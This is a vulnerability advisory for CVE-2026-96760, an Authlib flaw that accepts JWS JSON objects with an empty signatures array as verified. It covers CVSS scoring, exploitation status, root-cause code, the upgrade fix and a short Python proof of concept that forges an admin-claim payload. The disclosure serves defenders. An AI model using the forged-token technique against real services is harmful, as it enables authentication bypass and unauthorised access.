VulnerabilityPublished 27 Oct 2026

CVE-2026-96760: Authlib · empty signatures validation in JWS JSON deserialization

Affects authlibSource GCVE Database

Not known to be exploited · CVSS 9.1 Critical : upgrade to 1.9.0 as a priority.

Data as of 27 Oct 2026, 16:27 UTC

CVSS 3.1 base score

9.1Critical

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 1.9.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 27 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade authlib to 1.9.0.

Affected software

Product	Affected	Fixed in
PyPIauthlib	Affected <1.9.0	Fixed in 1.9.0

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Description

Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key. ## Root cause `authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact: ```python is_valid = True # set before anything is checked for header_obj in obj["signatures"]: # empty array means the body never runs jws_header, valid = self._validate_json_jws(...) if not valid: is_valid = False ... if is_valid: return rv # returns the payload as verified ``` `is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON Serialization object whose `signatures` array is empty iterates zero times, so the flag survives and the payload is returned as successfully verified. No key is consulted, because no signature is examined. ## Reproduction ```python import base64 from authlib.jose import JsonWebSignature def b64(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jws = JsonWebSignature() payload = b'{"sub":"attacker","role":"admin"}' forged = {"payload": b64(payload), "signatures": []} print(jws.deserialize_json(forged, key=None)) ``` Observed on authlib 1.8.0, Python 3.14, clean virtualenv: ``` [A] ATTACK general JSON, signatures:[] , key=None ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [B] ATTACK general JSON, signatures:[] , key=<real key> ACCEPTED -> {'header': [], 'payload': b'{"sub":"attacker","role":"admin"}'} [C] CONTROL+ genuine general JSON with 2 signatures, right key ACCEPTED (expected) payload= b'{"sub":"attacker","role":"admin"}' [D] CONTROL- same object, first signature corrupted rejected (expected): BadSignatureError bad_signature: [E] CONTROL- signatures array removed entirely (not empty, absent) rejected: DecodeError Missing "protected" value: ``` [C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves tampering is caught. [E] proves this is specifically the empty-array case and not a general missing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not save a caller: the empty array is accepted either way. For comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects the identical object with `BadSignatureError`. The correct behaviour already exists in your newer library. ## Impact Any relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will accept an attacker-authored payload as signed. Where that payload carries identity or authorisation claims, this is a complete authentication bypass by an unauthenticated remote caller with no key material. ## What would fix it In `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag from the signature count, for example `is_valid = len(obj["signatures"]) > 0`. Pull request #938 proposes the same thing.

Reports on CVE-2026-96760

VU#762428: Authlib library contains a signature‑verification bypass vulnerabilityCERT/CC2026-09-28

CWE-347Improper Verification of Cryptographic Signature (opens in a new tab)
Base weaknessOWASP Top 10 A04:2025: Cryptographic Failures (opens in a new tab)
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
OWASP Cheat Sheets
XML Security (opens in a new tab)
REST Security (opens in a new tab)
JSON Web Token for Java (opens in a new tab)
REST Assessment (opens in a new tab)
Cross-Site Request Forgery Prevention (opens in a new tab)
OWASP ASVS 4.0.3
V13.3.2 (opens in a new tab)
V3.5.3 (opens in a new tab)
V13.2.6 (opens in a new tab)
Attack patterns
Padding Oracle Crypto Attack (opens in a new tab)
Signature Spoofing by Improper Validation (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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